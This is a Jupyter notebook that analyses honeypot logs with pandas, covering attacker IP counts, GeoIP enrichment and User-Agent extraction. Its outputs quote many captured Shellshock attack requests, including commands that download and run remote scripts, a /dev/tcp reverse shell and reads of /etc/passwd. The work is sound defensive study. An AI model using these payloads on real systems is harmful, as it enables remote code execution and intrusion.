Honeypot 1 Analysis

Overview

Timeseries analysis of the honeypot data. Not just ssh logs. Mostly used different kind of timeseries graphs

Exercises

File Input

honeypot.json



In [2]:

    
import pandas as pd
import json
import pylab
pylab.rcParams['figure.figsize'] = (16.0, 5.0)



In [3]:

    
f = open('./honeypot.json', 'r')
count = 0
glastopf = []
amun = []
for line in f:
    j = json.loads(line)
    temp = []
    temp.append(j["_id"]["$oid"])
    temp.append(j["ident"])
    temp.append(j["normalized"])
    temp.append(j["timestamp"]["$date"])
    temp.append(j["channel"])
    payload = json.loads(j["payload"])
    if j["channel"] == "glastopf.events":
        temp.append(payload["pattern"])
        temp.append(payload["filename"])
        temp.append(payload["request_raw"])
        temp.append(payload["request_url"])
        temp.append(payload["source"][0])
        temp.append(payload["source"][1])
        glastopf.append(temp)
    elif j["channel"] == "amun.events":
        temp.append(payload["attackerIP"])
        temp.append(payload["attackerPort"])
        temp.append(payload["victimIP"])
        temp.append(payload["victimPort"])
        temp.append(payload["connectionType"])
        amun.append(temp)
    else:
        print j
f.close()

Build the dataframes from the lists of lists.



In [5]:

    
amun_df = pd.DataFrame(amun, columns=['id','ident','normalized','timestamp','channel','attackerIP','attackerPort','victimIP','victimPort','connectionType'])
glastopf_df = pd.DataFrame(glastopf, columns=['id','ident','normalized','timestamp','channel','pattern','filename','request_raw','request_url','attackerIP','attackerPort'])

Data Cleanup



In [7]:

    
amun_df['timestamp'] = amun_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))
glastopf_df['timestamp'] = glastopf_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))



In [8]:

    
amun_df['timestamp'] = pd.to_datetime(amun_df['timestamp'])
glastopf_df['timestamp'] = pd.to_datetime(glastopf_df['timestamp'])

Data Augmentation

GeoIP distribution.



In [10]:

    
import GeoIP

gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)

amun_df['attackerCountry'] = amun_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))
glastopf_df['attackerCountry'] = glastopf_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))

# Add some other values provided by other honeypots 
glastopf_df['victimPort'] = 80
glastopf_df['victimIP'] = 0
glastopf_df['victimIP'] = glastopf_df.ident.apply(lambda x: 'www.www.www.www' if x == 'a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e' else 'yyy.yyy.yyy.yyy')

Create a new dataframe with common information from the other two dataframes.



In [12]:

    
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
attacker_df = pd.DataFrame()
attacker_df = attacker_df.append(amun_df[cols], ignore_index=True)
attacker_df = attacker_df.append(glastopf_df[cols], ignore_index=True)

Reindex

Easy solution for time series analysis



In [13]:

    
attacker_df = attacker_df.set_index('timestamp')

Basic Exploration

The top 10 most active IPs in the attacker_df? What honeypot type picked up this attacker, and what port(s) was this attacker especially fond of.



In [14]:

    
attacker_df['attackerIP'].value_counts().head(10)









    Out[14]:





61.153.106.24     50212
71.190.176.162     9518
1.34.22.39         4546
37.203.214.248     1730
71.179.27.162      1417
54.169.85.158       797
54.169.100.200      793
54.169.67.18        792
54.169.1.199        792
54.169.105.43       792
dtype: int64



In [15]:

    
print attacker_df[attacker_df['attackerIP'] == '61.153.106.24']['channel'].unique()
amun_df[amun_df['attackerIP'] == '61.153.106.24']['victimPort'].unique()









    



[u'amun.events']






    Out[15]:





array([135])

Extract the User-Agent value from the honeypot data and create a column with the value.



In [16]:

    
import re

regex = re.compile('.*[Uu][Ss][Ee][Rr]-[Aa][Gg][Ee][Nn][Tt]:(.*?)(?:\\r|$)')
glastopf_df['user-agent'] = glastopf_df['request_raw'].apply(lambda x: re.search(regex, x).group(1) if re.search(regex, x) else None)

What are some of the more popular user-agent strings?



In [17]:

    
glastopf_df['user-agent'].value_counts()









    Out[17]:





 () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl    619
 Mozilla/3.0 (compatible; Indy Library)                          90
 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]     64
 Cloud mapping experiment. Contact research@pdrlabs.net          43
 () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh     27
 ZmEu                                                            20
 () { foo;};echo; /usr/bin/id                                    20
 Mozilla/5.0                                                      9
 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)      8
 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)      7
 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)      7
 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)                   7
 Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0      6
 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)      6
 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1      6
 Morfeus Fucking Scanner                                          6
 Googlebot/2.1 (+http://www.google.com/bot.html)                  5
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36      5
 () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl      5
 IPv4Scan (+http://ipv4scan.com)                                  4
 masscan/1.0 (https://github.com/robertdavidgraham/masscan)       4
 Mozilla/5.0 (compatible; Muenster University of Applied Sciences; +http://fb02itsscan.fh-muenster.de)      4
 Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:20.0) Gecko/20100101 Firefox/20.0      4
 Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25      4
 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)      2
 () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a      2
 curl/7.33.0                                                      2
 Robocop                                                          2
 () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"      2
 () { :;}; echo BANG: $(cat /etc/passwd)                          2
 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)      2
 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.A) Gecko/20100101 Firefox/25.0      2
 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0      1
 () { :; }; echo X-Bash-Test: `echo glXpsoaBEf`;                  1
 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)      1
 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)      1
 HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.5      1
 () { :;}; echo "BigBang: " $(</etc/passwd)                       1
 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.7.83) Gecko/20101180 Firefox/3.5.47      1
 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)      1
 Python-httplib2/0.7.4 (gzip)                                     1
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36      1
 Opera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.16      1
 () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"      1
 () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1      1
 libwww-perl/6.08                                                 1
 Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0      1
 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2      1
 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6      1
 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15      1
 Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20140610 Firefox/24.0 PaleMoon/24.6.2      1
Length: 51, dtype: int64

The query in the cell below is an easy way to query for all entries that may contain a shellshock exploit attempt.



In [18]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('{ :;}')]['request_raw'].value_counts()









    Out[18]:





GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd)    2
GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"    2
GET / HTTP/1.0\r\nAccept: */*\r\nReferer: () { :;}; echo "BigBang: " $(</etc/passwd)\r\nUser-Agent: () { :;}; echo "BigBang: " $(</etc/passwd)    1
GET / HTTP/1.1\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a    1
GET / HTTP/1.1\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a    1
GET / HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"    1
dtype: int64

Another way to find shellshock attempts.



In [19]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].tolist()









    Out[19]:





[u'GET / HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"',
 u'GET /cgi-bin/authLogin.cgi HTTP/1.1\r\nAccept: */*\r\nAccept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\nAccept-Encoding: identity\r\nAccept-Language: zh-CN,zh;q=0.8\r\nCache-Control: max-age=0\r\nConnection: close\r\nCookie: \r\nHost: yyy.yyy.yyy.yyy:8080\r\nReferer: http://www.baidu.com\r\nUser-Agent: () { :; }; echo X-Bash-Test: `echo glXpsoaBEf`;',
 u'GET / HTTP/1.1\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a',
 u'GET / HTTP/1.1\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a',
 u'GET / HTTP/1.0\r\nAccept: */*\r\nReferer: () { :;}; echo "BigBang: " $(</etc/passwd)\r\nUser-Agent: () { :;}; echo "BigBang: " $(</etc/passwd)',
 u'GET /cgi-sys/entropysearch.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /gitweb/gitweb.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/ HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/php HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/php5 HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/php4 HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/php-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/php.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/firmwarecfg HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin///admin.html HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/admin.html HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/test-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /sys-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/tree.php HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/hello HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/w3mman2html.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-bin/status/status.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /webmail/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /iControl/iControlPortal.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /webnovel/books.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/learn-message.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-mod/view_help.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/awstats.pl HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi/close_window.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/test.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-mod/index.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /webmail/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /iControl/iControlPortal.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /webnovel/books.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/learn-message.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-mod/view_help.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi-bin/awstats.pl HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET /cgi/close_window.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh',
 u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl',
 u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl',
 u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl',
 u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl',
 u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl',
 u'GET /tmUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /gitweb.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
